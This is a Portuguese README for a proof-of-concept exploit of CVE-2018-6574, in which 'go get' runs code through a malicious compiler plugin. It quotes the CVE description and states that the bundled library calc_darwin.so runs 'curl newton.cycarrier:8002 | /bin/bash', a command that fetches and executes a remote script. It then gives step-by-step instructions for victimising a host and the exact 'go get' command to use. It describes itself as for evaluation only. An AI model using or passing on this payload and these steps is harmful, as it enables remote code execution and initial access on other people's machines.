
Exploit de prova de conceito para CVE-2018-6574, demonstrando execução remota de comandos no comando go get do Go através de plugins de compilador maliciosos durante a compilação do código-fonte.
Go antes da versão 1.8.7, Go 1.9.x antes da 1.9.4 e Go 1.10 pré-lançamentos antes de Go 1.10rc2 permitem execução remota de comandos através de go get durante a compilação do código fonte, ao usar o recurso de plugin do gcc ou clang, porque os argumentos -fplugin= e -plugin= não estavam bloqueados. (do MITRE)
O comando foi compilado na biblioteca dinâmica calc_darwin.so. E o comando atual é curl newton.cycarrier:8002 | /bin/bash. Foi usado como um acesso inicial de um programa. Você precisa hospedar um servidor de arquivos na porta 8002 e vincular o host ao seu IP.
Primeiro, você precisa instalar a versão necessária do golang na vítima. Em seguida, hospede este repositório em um servidor git acessível. Finalmente, use o comando go get para baixar este repositório, e o comando será executado automaticamente.
Use meu repositório como exemplo. Você precisa usar o seguinte comando:
go get github.com/frozenkp/CVE-2018-6574
Este repositório é apenas para fins de avaliação.